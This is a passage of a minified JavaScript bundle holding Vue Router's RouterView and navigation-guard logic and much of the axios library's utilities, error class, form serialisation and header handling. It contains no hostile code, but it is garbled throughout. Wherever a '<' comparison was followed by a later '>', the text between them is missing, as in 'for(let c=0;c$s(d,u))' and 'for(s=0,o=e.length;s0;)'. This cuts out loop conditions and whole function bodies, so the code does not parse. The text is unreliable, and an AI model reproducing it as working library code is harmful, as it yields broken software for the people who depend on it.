e?e.aliasOf?e.aliasOf.path:e.path:""}const Fp=(e,t,n)=>e??t??n,yA=hs({name:"RouterView",inheritAttrs:!1,props:{name:{type:String,default:"default"},route:Object},compatConfig:{MODE:3},setup(e,{attrs:t,slots:n}){const s=_n(Jc),o=Dt(()=>e.route||s.value),a=_n(kp,0),c=Dt(()=>{let d=as(a);const{matched:m}=o.value;let g;for(;(g=m[d])&&!g.components;)d++;return d}),u=Dt(()=>o.value.matched[c.value]);Go(kp,Dt(()=>c.value+1)),Go(dA,u),Go(Jc,o);const h=Wr();return Mr(()=>[h.value,u.value,e.name],([d,m,g],[w,O,P])=>{m&&(m.instances[g]=d,O&&O!==m&&d&&d===w&&(m.leaveGuards.size||(m.leaveGuards=O.leaveGuards),m.updateGuards.size||(m.updateGuards=O.updateGuards))),d&&m&&(!O||!$s(m,O)||!w)&&(m.enterCallbacks[g]||[]).forEach(F=>F(d))},{flush:"post"}),()=>{const d=o.value,m=e.name,g=u.value,w=g&&g.components[m];if(!w)return Up(n.default,{Component:w,route:d});const O=g.props[m],P=O?O===!0?d.params:typeof O=="function"?O(d):O:null,D=La(w,ft({},P,t,{onVnodeUnmounted:R=>{R.component.isUnmounted&&(g.instances[m]=null)},ref:h}));return Up(n.default,{Component:D,route:d})||D}}});function Up(e,t){if(!e)return null;const n=e(t);return n.length===1?n[0]:n}const l_=yA;function bA(e){const t=oA(e.routes,e),n=e.parseQuery||fA,s=e.stringifyQuery||Pp,o=e.history,a=mi(),c=mi(),u=mi(),h=fg(Ar);let d=Ar;Is&&e.scrollBehavior&&"scrollRestoration"in history&&(history.scrollRestoration="manual");const m=_c.bind(null,V=>""+V),g=_c.bind(null,DR),w=_c.bind(null,Fi);function O(V,re){let ne,oe;return s_(V)?(ne=t.getRecordMatcher(V),oe=re):oe=V,t.addRoute(oe,ne)}function P(V){const re=t.getRecordMatcher(V);re&&t.removeRoute(re)}function F(){return t.getRoutes().map(V=>V.record)}function D(V){return!!t.getRecordMatcher(V)}function R(V,re){if(re=ft({},re||h.value),typeof V=="string"){const S=yc(n,V,re.path),M=t.resolve({path:S.path},re),Q=o.createHref(S.fullPath);return ft(S,M,{params:w(M.params),hash:Fi(S.hash),redirectedFrom:void 0,href:Q})}let ne;if(V.path!=null)ne=ft({},V,{path:yc(n,V.path,re.path).path});else{const S=ft({},V.params);for(const M in S)S[M]==null&&delete S[M];ne=ft({},V,{params:g(S)}),re.params=g(re.params)}const oe=t.resolve(ne,re),ge=V.hash||"";oe.params=m(w(oe.params));const Pe=UR(s,ft({},V,{hash:NR(ge),path:oe.path})),v=o.createHref(Pe);return ft({fullPath:Pe,hash:ge,query:s===Pp?hA(V.query):V.query||{}},oe,{redirectedFrom:void 0,href:v})}function N(V){return typeof V=="string"?yc(n,V,h.value.path):ft({},V)}function U(V,re){if(d!==V)return Ws(8,{from:re,to:V})}function x(V){return W(V)}function q(V){return x(ft(N(V),{replace:!0}))}function Z(V){const re=V.matched[V.matched.length-1];if(re&&re.redirect){const{redirect:ne}=re;let oe=typeof ne=="function"?ne(V):ne;return typeof oe=="string"&&(oe=oe.includes("?")||oe.includes("#")?oe=N(oe):{path:oe},oe.params={}),ft({query:V.query,hash:V.hash,params:oe.path!=null?{}:V.params},oe)}}function W(V,re){const ne=d=R(V),oe=h.value,ge=V.state,Pe=V.force,v=V.replace===!0,S=Z(ne);if(S)return W(ft(N(S),{state:typeof S=="object"?ft({},ge,S.state):ge,force:Pe,replace:v}),re||ne);const M=ne;M.redirectedFrom=re;let Q;return!Pe&&BR(s,oe,ne)&&(Q=Ws(16,{to:M,from:oe}),ce(oe,oe,!0,!1)),(Q?Promise.resolve(Q):Ae(M,oe)).catch(K=>cr(K)?cr(K,2)?K:bt(K):ye(K,M,oe)).then(K=>{if(K){if(cr(K,2))return W(ft({replace:v},N(K.to),{state:typeof K.to=="object"?ft({},ge,K.to.state):ge,force:Pe}),re||M)}else K=Me(M,oe,!0,v,ge);return Ve(M,oe,K),K})}function ae(V,re){const ne=U(V,re);return ne?Promise.reject(ne):Promise.resolve()}function se(V){const re=Ce.values().next().value;return re&&typeof re.runWithContext=="function"?re.runWithContext(V):V()}function Ae(V,re){let ne;const[oe,ge,Pe]=vA(V,re);ne=vc(oe.reverse(),"beforeRouteLeave",V,re);for(const S of oe)S.leaveGuards.forEach(M=>{ne.push(kr(M,V,re))});const v=ae.bind(null,V,re);return ne.push(v),Le(ne).then(()=>{ne=[];for(const S of a.list())ne.push(kr(S,V,re));return ne.push(v),Le(ne)}).then(()=>{ne=vc(ge,"beforeRouteUpdate",V,re);for(const S of ge)S.updateGuards.forEach(M=>{ne.push(kr(M,V,re))});return ne.push(v),Le(ne)}).then(()=>{ne=[];for(const S of Pe)if(S.beforeEnter)if(Wn(S.beforeEnter))for(const M of S.beforeEnter)ne.push(kr(M,V,re));else ne.push(kr(S.beforeEnter,V,re));return ne.push(v),Le(ne)}).then(()=>(V.matched.forEach(S=>S.enterCallbacks={}),ne=vc(Pe,"beforeRouteEnter",V,re,se),ne.push(v),Le(ne))).then(()=>{ne=[];for(const S of c.list())ne.push(kr(S,V,re));return ne.push(v),Le(ne)}).catch(S=>cr(S,8)?S:Promise.reject(S))}function Ve(V,re,ne){u.list().forEach(oe=>se(()=>oe(V,re,ne)))}function Me(V,re,ne,oe,ge){const Pe=U(V,re);if(Pe)return Pe;const v=re===Ar,S=Is?history.state:{};ne&&(oe||v?o.replace(V.fullPath,ft({scroll:v&&S&&S.scroll},ge)):o.push(V.fullPath,ge)),h.value=V,ce(V,re,ne,v),bt()}let qe;function $t(){qe||(qe=o.listen((V,re,ne)=>{if(!He.listening)return;const oe=R(V),ge=Z(oe);if(ge){W(ft(ge,{replace:!0}),oe).catch(Ci);return}d=oe;const Pe=h.value;Is&&jR(Op(Pe.fullPath,ne.delta),zR()),Ae(oe,Pe).catch(v=>cr(v,12)?v:cr(v,2)?(W(v.to,oe).then(S=>{cr(S,20)&&!ne.delta&&ne.type===Ui.pop&&o.go(-1,!1)}).catch(Ci),Promise.reject()):(ne.delta&&o.go(-ne.delta,!1),ye(v,oe,Pe))).then(v=>{v=v||Me(oe,Pe,!1),v&&(ne.delta&&!cr(v,8)?o.go(-ne.delta,!1):ne.type===Ui.pop&&cr(v,20)&&o.go(-1,!1)),Ve(oe,Pe,v)}).catch(Ci)}))}let Wt=mi(),We=mi(),me;function ye(V,re,ne){bt(V);const oe=We.list();return oe.length?oe.forEach(ge=>ge(V,re,ne)):console.error(V),Promise.reject(V)}function et(){return me&&h.value!==Ar?Promise.resolve():new Promise((V,re)=>{Wt.add([V,re])})}function bt(V){return me||(me=!V,$t(),Wt.list().forEach(([re,ne])=>V?ne(V):re()),Wt.reset()),V}function ce(V,re,ne,oe){const{scrollBehavior:ge}=e;if(!Is||!ge)return Promise.resolve();const Pe=!ne&&YR(Op(V.fullPath,0))||(oe||!ne)&&history.state&&history.state.scroll||null;return Fu().then(()=>ge(V,re,Pe)).then(v=>v&&GR(v)).catch(v=>ye(v,V,re))}const Y=V=>o.go(V);let de;const Ce=new Set,He={currentRoute:h,listening:!0,addRoute:O,removeRoute:P,clearRoutes:t.clearRoutes,hasRoute:D,getRoutes:F,resolve:R,options:e,push:x,replace:q,go:Y,back:()=>Y(-1),forward:()=>Y(1),beforeEach:a.add,beforeResolve:c.add,afterEach:u.add,onError:We.add,isReady:et,install(V){const re=this;V.component("RouterLink",mA),V.component("RouterView",l_),V.config.globalProperties.$router=re,Object.defineProperty(V.config.globalProperties,"$route",{enumerable:!0,get:()=>as(h)}),Is&&!de&&h.value===Ar&&(de=!0,x(o.location).catch(ge=>{}));const ne={};for(const ge in Ar)Object.defineProperty(ne,ge,{get:()=>h.value[ge],enumerable:!0});V.provide(Na,re),V.provide(Gu,cg(ne)),V.provide(Jc,h);const oe=V.unmount;Ce.add(V),V.unmount=function(){Ce.delete(V),Ce.size<1&&(d=Ar,qe&&qe(),qe=null,h.value=Ar,de=!1,me=!1),oe()}}};function Le(V){return V.reduce((re,ne)=>re.then(()=>se(ne)),Promise.resolve())}return He}function vA(e,t){const n=[],s=[],o=[],a=Math.max(t.matched.length,e.matched.length);for(let c=0;c$s(d,u))?s.push(u):n.push(u));const h=e.matched[c];h&&(t.matched.find(d=>$s(d,h))||o.push(h))}return[n,s,o]}function wN(){return _n(Na)}function SN(e){return _n(Gu)}function c_(e,t){return function(){return e.apply(t,arguments)}}const{toString:EA}=Object.prototype,{getPrototypeOf:ju}=Object,Pa=(e=>t=>{const n=EA.call(t);return e[n]||(e[n]=n.slice(8,-1).toLowerCase())})(Object.create(null)),Hn=e=>(e=e.toLowerCase(),t=>Pa(t)===e),ka=e=>t=>typeof t===e,{isArray:Ks}=Array,Bi=ka("undefined");function wA(e){return e!==null&&!Bi(e)&&e.constructor!==null&&!Bi(e.constructor)&&yn(e.constructor.isBuffer)&&e.constructor.isBuffer(e)}const u_=Hn("ArrayBuffer");function SA(e){let t;return typeof ArrayBuffer<"u"&&ArrayBuffer.isView?t=ArrayBuffer.isView(e):t=e&&e.buffer&&u_(e.buffer),t}const TA=ka("string"),yn=ka("function"),f_=ka("number"),Da=e=>e!==null&&typeof e=="object",OA=e=>e===!0||e===!1,Xo=e=>{if(Pa(e)!=="object")return!1;const t=ju(e);return(t===null||t===Object.prototype||Object.getPrototypeOf(t)===null)&&!(Symbol.toStringTag in e)&&!(Symbol.iterator in e)},RA=Hn("Date"),AA=Hn("File"),CA=Hn("Blob"),xA=Hn("FileList"),LA=e=>Da(e)&&yn(e.pipe),IA=e=>{let t;return e&&(typeof FormData=="function"&&e instanceof FormData||yn(e.append)&&((t=Pa(e))==="formdata"||t==="object"&&yn(e.toString)&&e.toString()==="[object FormData]"))},NA=Hn("URLSearchParams"),[PA,kA,DA,MA]=["ReadableStream","Request","Response","Headers"].map(Hn),FA=e=>e.trim?e.trim():e.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"");function Gi(e,t,{allOwnKeys:n=!1}={}){if(e===null||typeof e>"u")return;let s,o;if(typeof e!="object"&&(e=[e]),Ks(e))for(s=0,o=e.length;s0;)if(o=n[s],t===o.toLowerCase())return o;return null}const rs=(()=>typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:global)(),d_=e=>!Bi(e)&&e!==rs;function Xc(){const{caseless:e}=d_(this)&&this||{},t={},n=(s,o)=>{const a=e&&h_(t,o)||o;Xo(t[a])&&Xo(s)?t[a]=Xc(t[a],s):Xo(s)?t[a]=Xc({},s):Ks(s)?t[a]=s.slice():t[a]=s};for(let s=0,o=arguments.length;s(Gi(t,(o,a)=>{n&&yn(o)?e[a]=c_(o,n):e[a]=o},{allOwnKeys:s}),e),BA=e=>(e.charCodeAt(0)===65279&&(e=e.slice(1)),e),$A=(e,t,n,s)=>{e.prototype=Object.create(t.prototype,s),e.prototype.constructor=e,Object.defineProperty(e,"super",{value:t.prototype}),n&&Object.assign(e.prototype,n)},WA=(e,t,n,s)=>{let o,a,c;const u={};if(t=t||{},e==null)return t;do{for(o=Object.getOwnPropertyNames(e),a=o.length;a-- >0;)c=o[a],(!s||s(c,e,t))&&!u[c]&&(t[c]=e[c],u[c]=!0);e=n!==!1&&ju(e)}while(e&&(!n||n(e,t))&&e!==Object.prototype);return t},HA=(e,t,n)=>{e=String(e),(n===void 0||n>e.length)&&(n=e.length),n-=t.length;const s=e.indexOf(t,n);return s!==-1&&s===n},VA=e=>{if(!e)return null;if(Ks(e))return e;let t=e.length;if(!f_(t))return null;const n=new Array(t);for(;t-- >0;)n[t]=e[t];return n},qA=(e=>t=>e&&t instanceof e)(typeof Uint8Array<"u"&&ju(Uint8Array)),KA=(e,t)=>{const s=(e&&e[Symbol.iterator]).call(e);let o;for(;(o=s.next())&&!o.done;){const a=o.value;t.call(e,a[0],a[1])}},zA=(e,t)=>{let n;const s=[];for(;(n=e.exec(t))!==null;)s.push(n);return s},GA=Hn("HTMLFormElement"),jA=e=>e.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,function(n,s,o){return s.toUpperCase()+o}),Bp=(({hasOwnProperty:e})=>(t,n)=>e.call(t,n))(Object.prototype),YA=Hn("RegExp"),p_=(e,t)=>{const n=Object.getOwnPropertyDescriptors(e),s={};Gi(n,(o,a)=>{let c;(c=t(o,a,e))!==!1&&(s[a]=c||o)}),Object.defineProperties(e,s)},JA=e=>{p_(e,(t,n)=>{if(yn(e)&&["arguments","caller","callee"].indexOf(n)!==-1)return!1;const s=e[n];if(yn(s)){if(t.enumerable=!1,"writable"in t){t.writable=!1;return}t.set||(t.set=()=>{throw Error("Can not rewrite read-only method '"+n+"'")})}})},XA=(e,t)=>{const n={},s=o=>{o.forEach(a=>{n[a]=!0})};return Ks(e)?s(e):s(String(e).split(t)),n},QA=()=>{},ZA=(e,t)=>e!=null&&Number.isFinite(e=+e)?e:t,Ec="abcdefghijklmnopqrstuvwxyz",$p="0123456789",m_={DIGIT:$p,ALPHA:Ec,ALPHA_DIGIT:Ec+Ec.toUpperCase()+$p},eC=(e=16,t=m_.ALPHA_DIGIT)=>{let n="";const{length:s}=t;for(;e--;)n+=t[Math.random()*s|0];return n};function tC(e){return!!(e&&yn(e.append)&&e[Symbol.toStringTag]==="FormData"&&e[Symbol.iterator])}const nC=e=>{const t=new Array(10),n=(s,o)=>{if(Da(s)){if(t.indexOf(s)>=0)return;if(!("toJSON"in s)){t[o]=s;const a=Ks(s)?[]:{};return Gi(s,(c,u)=>{const h=n(c,o+1);!Bi(h)&&(a[u]=h)}),t[o]=void 0,a}}return s};return n(e,0)},rC=Hn("AsyncFunction"),sC=e=>e&&(Da(e)||yn(e))&&yn(e.then)&&yn(e.catch),g_=((e,t)=>e?setImmediate:t?((n,s)=>(rs.addEventListener("message",({source:o,data:a})=>{o===rs&&a===n&&s.length&&s.shift()()},!1),o=>{s.push(o),rs.postMessage(n,"*")}))(`axios@${Math.random()}`,[]):n=>setTimeout(n))(typeof setImmediate=="function",yn(rs.postMessage)),iC=typeof queueMicrotask<"u"?queueMicrotask.bind(rs):typeof process<"u"&&process.nextTick||g_,z={isArray:Ks,isArrayBuffer:u_,isBuffer:wA,isFormData:IA,isArrayBufferView:SA,isString:TA,isNumber:f_,isBoolean:OA,isObject:Da,isPlainObject:Xo,isReadableStream:PA,isRequest:kA,isResponse:DA,isHeaders:MA,isUndefined:Bi,isDate:RA,isFile:AA,isBlob:CA,isRegExp:YA,isFunction:yn,isStream:LA,isURLSearchParams:NA,isTypedArray:qA,isFileList:xA,forEach:Gi,merge:Xc,extend:UA,trim:FA,stripBOM:BA,inherits:$A,toFlatObject:WA,kindOf:Pa,kindOfTest:Hn,endsWith:HA,toArray:VA,forEachEntry:KA,matchAll:zA,isHTMLForm:GA,hasOwnProperty:Bp,hasOwnProp:Bp,reduceDescriptors:p_,freezeMethods:JA,toObjectSet:XA,toCamelCase:jA,noop:QA,toFiniteNumber:ZA,findKey:h_,global:rs,isContextDefined:d_,ALPHABET:m_,generateString:eC,isSpecCompliantForm:tC,toJSONObject:nC,isAsyncFn:rC,isThenable:sC,setImmediate:g_,asap:iC};function xe(e,t,n,s,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=new Error().stack,this.message=e,this.name="AxiosError",t&&(this.code=t),n&&(this.config=n),s&&(this.request=s),o&&(this.response=o,this.status=o.status?o.status:null)}z.inherits(xe,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:z.toJSONObject(this.config),code:this.code,status:this.status}}});const __=xe.prototype,y_={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED","ERR_NOT_SUPPORT","ERR_INVALID_URL"].forEach(e=>{y_[e]={value:e}});Object.defineProperties(xe,y_);Object.defineProperty(__,"isAxiosError",{value:!0});xe.from=(e,t,n,s,o,a)=>{const c=Object.create(__);return z.toFlatObject(e,c,function(h){return h!==Error.prototype},u=>u!=="isAxiosError"),xe.call(c,e.message,t,n,s,o),c.cause=e,c.name=e.name,a&&Object.assign(c,a),c};const oC=null;function Qc(e){return z.isPlainObject(e)||z.isArray(e)}function b_(e){return z.endsWith(e,"[]")?e.slice(0,-2):e}function Wp(e,t,n){return e?e.concat(t).map(function(o,a){return o=b_(o),!n&&a?"["+o+"]":o}).join(n?".":""):t}function aC(e){return z.isArray(e)&&!e.some(Qc)}const lC=z.toFlatObject(z,{},null,function(t){return/^is[A-Z]/.test(t)});function Ma(e,t,n){if(!z.isObject(e))throw new TypeError("target must be an object");t=t||new FormData,n=z.toFlatObject(n,{metaTokens:!0,dots:!1,indexes:!1},!1,function(F,D){return!z.isUndefined(D[F])});const s=n.metaTokens,o=n.visitor||m,a=n.dots,c=n.indexes,h=(n.Blob||typeof Blob<"u"&&Blob)&&z.isSpecCompliantForm(t);if(!z.isFunction(o))throw new TypeError("visitor must be a function");function d(P){if(P===null)return"";if(z.isDate(P))return P.toISOString();if(!h&&z.isBlob(P))throw new xe("Blob is not supported. Use a Buffer instead.");return z.isArrayBuffer(P)||z.isTypedArray(P)?h&&typeof Blob=="function"?new Blob([P]):Buffer.from(P):P}function m(P,F,D){let R=P;if(P&&!D&&typeof P=="object"){if(z.endsWith(F,"{}"))F=s?F:F.slice(0,-2),P=JSON.stringify(P);else if(z.isArray(P)&&aC(P)||(z.isFileList(P)||z.endsWith(F,"[]"))&&(R=z.toArray(P)))return F=b_(F),R.forEach(function(U,x){!(z.isUndefined(U)||U===null)&&t.append(c===!0?Wp([F],x,a):c===null?F:F+"[]",d(U))}),!1}return Qc(P)?!0:(t.append(Wp(D,F,a),d(P)),!1)}const g=[],w=Object.assign(lC,{defaultVisitor:m,convertValue:d,isVisitable:Qc});function O(P,F){if(!z.isUndefined(P)){if(g.indexOf(P)!==-1)throw Error("Circular reference detected in "+F.join("."));g.push(P),z.forEach(P,function(R,N){(!(z.isUndefined(R)||R===null)&&o.call(t,R,z.isString(N)?N.trim():N,F,w))===!0&&O(R,F?F.concat(N):[N])}),g.pop()}}if(!z.isObject(e))throw new TypeError("data must be an object");return O(e),t}function Hp(e){const t={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+","%00":"\0"};return encodeURIComponent(e).replace(/[!'()~]|%20|%00/g,function(s){return t[s]})}function Yu(e,t){this._pairs=[],e&&Ma(e,this,t)}const v_=Yu.prototype;v_.append=function(t,n){this._pairs.push([t,n])};v_.toString=function(t){const n=t?function(s){return t.call(this,s,Hp)}:Hp;return this._pairs.map(function(o){return n(o[0])+"="+n(o[1])},"").join("&")};function cC(e){return encodeURIComponent(e).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}function E_(e,t,n){if(!t)return e;const s=n&&n.encode||cC,o=n&&n.serialize;let a;if(o?a=o(t,n):a=z.isURLSearchParams(t)?t.toString():new Yu(t,n).toString(s),a){const c=e.indexOf("#");c!==-1&&(e=e.slice(0,c)),e+=(e.indexOf("?")===-1?"?":"&")+a}return e}class uC{constructor(){this.handlers=[]}use(t,n,s){return this.handlers.push({fulfilled:t,rejected:n,synchronous:s?s.synchronous:!1,runWhen:s?s.runWhen:null}),this.handlers.length-1}eject(t){this.handlers[t]&&(this.handlers[t]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(t){z.forEach(this.handlers,function(s){s!==null&&t(s)})}}const Vp=uC,w_={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1},fC=typeof URLSearchParams<"u"?URLSearchParams:Yu,hC=typeof FormData<"u"?FormData:null,dC=typeof Blob<"u"?Blob:null,pC={isBrowser:!0,classes:{URLSearchParams:fC,FormData:hC,Blob:dC},protocols:["http","https","file","blob","url","data"]},Ju=typeof window<"u"&&typeof document<"u",Zc=typeof navigator=="object"&&navigator||void 0,mC=Ju&&(!Zc||["ReactNative","NativeScript","NS"].indexOf(Zc.product)<0),gC=(()=>typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope&&typeof self.importScripts=="function")(),_C=Ju&&window.location.href||"http://localhost",yC=Object.freeze(Object.defineProperty({__proto__:null,hasBrowserEnv:Ju,hasStandardBrowserEnv:mC,hasStandardBrowserWebWorkerEnv:gC,navigator:Zc,origin:_C},Symbol.toStringTag,{value:"Module"})),an={...yC,...pC};function bC(e,t){return Ma(e,new an.classes.URLSearchParams,Object.assign({visitor:function(n,s,o,a){return an.isNode&&z.isBuffer(n)?(this.append(s,n.toString("base64")),!1):a.defaultVisitor.apply(this,arguments)}},t))}function vC(e){return z.matchAll(/\w+|\[(\w*)]/g,e).map(t=>t[0]==="[]"?"":t[1]||t[0])}function EC(e){const t={},n=Object.keys(e);let s;const o=n.length;let a;for(s=0;s=n.length;return c=!c&&z.isArray(o)?o.length:c,h?(z.hasOwnProp(o,c)?o[c]=[o[c],s]:o[c]=s,!u):((!o[c]||!z.isObject(o[c]))&&(o[c]=[]),t(n,s,o[c],a)&&z.isArray(o[c])&&(o[c]=EC(o[c])),!u)}if(z.isFormData(e)&&z.isFunction(e.entries)){const n={};return z.forEachEntry(e,(s,o)=>{t(vC(s),o,n,0)}),n}return null}function wC(e,t,n){if(z.isString(e))try{return(t||JSON.parse)(e),z.trim(e)}catch(s){if(s.name!=="SyntaxError")throw s}return(n||JSON.stringify)(e)}const Xu={transitional:w_,adapter:["xhr","http","fetch"],transformRequest:[function(t,n){const s=n.getContentType()||"",o=s.indexOf("application/json")>-1,a=z.isObject(t);if(a&&z.isHTMLForm(t)&&(t=new FormData(t)),z.isFormData(t))return o?JSON.stringify(S_(t)):t;if(z.isArrayBuffer(t)||z.isBuffer(t)||z.isStream(t)||z.isFile(t)||z.isBlob(t)||z.isReadableStream(t))return t;if(z.isArrayBufferView(t))return t.buffer;if(z.isURLSearchParams(t))return n.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),t.toString();let u;if(a){if(s.indexOf("application/x-www-form-urlencoded")>-1)return bC(t,this.formSerializer).toString();if((u=z.isFileList(t))||s.indexOf("multipart/form-data")>-1){const h=this.env&&this.env.FormData;return Ma(u?{"files[]":t}:t,h&&new h,this.formSerializer)}}return a||o?(n.setContentType("application/json",!1),wC(t)):t}],transformResponse:[function(t){const n=this.transitional||Xu.transitional,s=n&&n.forcedJSONParsing,o=this.responseType==="json";if(z.isResponse(t)||z.isReadableStream(t))return t;if(t&&z.isString(t)&&(s&&!this.responseType||o)){const c=!(n&&n.silentJSONParsing)&&o;try{return JSON.parse(t)}catch(u){if(c)throw u.name==="SyntaxError"?xe.from(u,xe.ERR_BAD_RESPONSE,this,null,this.response):u}}return t}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:an.classes.FormData,Blob:an.classes.Blob},validateStatus:function(t){return t>=200&&t<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};z.forEach(["delete","get","head","post","put","patch"],e=>{Xu.headers[e]={}});const Qu=Xu,SC=z.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),TC=e=>{const t={};let n,s,o;return e&&e.split(` `).forEach(function(c){o=c.indexOf(":"),n=c.substring(0,o).trim().toLowerCase(),s=c.substring(o+1).trim(),!(!n||t[n]&&SC[n])&&(n==="set-cookie"?t[n]?t[n].push(s):t[n]=[s]:t[n]=t[n]?t[n]+", "+s:s)}),t},qp=Symbol("internals");function gi(e){return e&&String(e).trim().toLowerCase()}function Qo(e){return e===!1||e==null?e:z.isArray(e)?e.map(Qo):String(e)}function OC(e){const t=Object.create(null),n=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;let s;for(;s=n.exec(e);)t[s[1]]=s[2];return t}const RC=e=>/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(e.trim());function wc(e,t,n,s,o){if(z.isFunction(s))return s.call(this,t,n);if(o&&(t=n),!!z.isString(t)){if(z.isString(s))return t.indexOf(s)!==-1;if(z.isRegExp(s))return s.test(t)}}function AC(e){return e.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,(t,n,s)=>n.toUpperCase()+s)}function CC(e,t){const n=z.toCamelCase(" "+t);["get","set","has"].forEach(s=>{Object.defineProperty(e,s+n,{value:function(o,a,c){return this[s].call(this,t,o,a,c)},configurable:!0})})}class Fa{constructor(t){t&&this.set(t)}set(t,n,s){const o=this;function a(u,h,d){const m=gi(h);if(!m)throw new Error("header name must be a non-empty string");const g=z.findKey(o,m);(!g||o[g]===void 0||d===!0||d===void 0&&o[g]!==!1)&&(o[g||h]=Qo(u))}const c=(u,h)=>z.forEach(u,(d,m)=>a(d,m,h));if(z.isPlainObject(t)||t instanceof this.constructor)c(t,n);else if(z.isString(t)&&(t=t.trim())&&!RC(t))c(TC(t),n);else if(z.isHeaders(t))for(const[u,h]of t.entries())a(h,u,s);else t!=null&&a(n,t,s);return this}get(t,n){if(t=gi(t),t){const s=z.findKey(this,t);if(s){const o=this[s];if(!n)return o;if(n===!0)return OC(o);if(z.isFunction(n))return n.call(this,o,s);if(z.isRegExp(n))return n.exec(o);throw new TypeError("parser must be boolean|regexp|function")}}}has(t,n){if(t=gi(t),t){const s=z.findKey(this,t);return!!(s&&this[s]!==void 0&&(!n||wc(this,this[s],s,n)))}return!1}delete(t,n){const s=this;let o=!1;function a(c){if(c=gi(c),c){const u=z.findKey(s,c);u&&(!n||wc(s,s[u],u,n))&&(delete s[u],o=!0)}}return z.isArray(t)?t.forEach(a):a(t),o}clear(t){const n=Object.keys(this);let s=n.length,o=!1;for(;s--;){const a=n[s];(!t||wc(this,this[a],a,t,!0))&&(delete this[a],o=!0)}return o}normalize(t){const n=this,s={};return z.forEach(this,(o,a)=>{const c=z.findKey(s,a);if(c){n[c]=Qo(o),delete n[a];return}const u=t?AC(a):String(a).trim();u!==a&&delete n[a],n[u]=Qo(o),s[u]=!0}),this}concat(...t){return this.constructor.concat(this,...t)}toJSON(t){const n=Object.create(null);return z.forEach(this,(s,o)=>{s!=null&&s!==!1&&(n[o]=t&&z.isArray(s)?s.join(", "):s)}),n}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map(([t,n])=>t+": "+n).join(` `)}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(t){return t instanceof this?t:new this(t)}static concat(t,...n){const s=new this(t);return n.forEach(o=>s.set(o)),s}static accessor(t){const s=(this[qp]=this[qp]={accessors:{}}).accessors,o=this.prototype;function a(c){const u=gi(c);s[u]||(CC(o,c),s[u]=!0)}return z.isArray(t)?t.forEach(a):a(t),this}}Fa.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]);z.reduceDescriptors(Fa.prototype,({value:e},t)=>{let n=t[0].toUpperCase()+t.slice(1);return{get:()=>e,set(s){this[n]=s}}});z.freezeMethods(Fa);const $n=Fa;function Sc(e,t){const n=this||Qu,s=t||n,o=$n.from(s.headers);let a=s.data;return z.forEach(e,function(u){a=u.call(n,a,o.normalize(),t?t.status:void 0)}),o.normalize(),a}function T_(e){return!!(e&&e.__CANCEL__)}function zs(e,t,n){xe.call(this,e??"canceled",xe.ERR_CANCELED,t,n),this.name="CanceledError"}z.inherits(zs,xe,{__CANCEL__:!0});function O_(e,t,n){const s=n.config.validateStatus;!n.status||!s||s(n.status)?e(n):t(new xe("Request failed with status code "+n.status,[xe.ERR_BAD_REQUEST,xe.ERR_BAD_RESPONSE][Math.floor(n.status/100)-4],n.config,n.request,n))}function xC(e){const t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}function LC(e,t){e=e||10;const n=new Array(e),s=new Array(e);let o=0,a=0,c;return t=t!==void 0?t:1e3,function(h){const d=Date.now(),m=s[a];c||(c=d),n[o]=h,s[o]=d;let g=a,w=0;for(;g!==o;)w+=n[g++],g=g%e;if(o=(o+1)%e,o===a&&(a=(a+1)%e),d-c{n=m,o=null,a&&(clearTimeout(a),a=null),e.apply(null,d)};return[(...d)=>{const m=Date.now(),g=m-n;g>=s?c(d,m):(o=d,a||(a=setTimeout(()=>{a=null,c(o)},s-g)))},()=>o&&c(o)]}const pa=(e,t,n=3)=>{let s=0;const o=LC(50,250);return IC(a=>{const c=a.loaded,u=a.lengthComputable?a.total:void 0,h=c-s,d=o(h),m=c<=u;s=c;const g={loaded:c,total:u,progress:u?c/u:void 0,bytes:h,rate:d||void 0,estimated:d&&u&&m?(u-c)/d:void 0,event:a,lengthComputable:u!=null,[t?"download":"upload"]:!0};e(g)},n)},Kp=(e,t)=>{const n=e!=null;return[s=>t[0]({lengthComputable:n,total:e,loaded:s}),t[1]]},zp=e=>(...t)=>z.asap(()=>e(...t)),NC=an.hasStandardBrowserEnv?function(){const t=an.navigator&&/(msie|trident)/i.test(an.navigator.userAgent),n=document.createElement("a");let s;function o(a){let c=a;return t&&(n.setAttribute("href",c),c=n.href),n.setAttribute("href",c),{href:n.href,protocol:n.protocol?n.protocol.replace(/:$/,""):"",host:n.host,search:n.search?n.search.replace(/^\?/,""):"",hash:n.hash?n.hash.replace(/^#/,""):"",hostname:n.hostname,port:n.port,pathname:n.pathname.charAt(0)==="/"?n.pathname:"/"+n.pathname}}return s=o(window.location.href),function(c){const 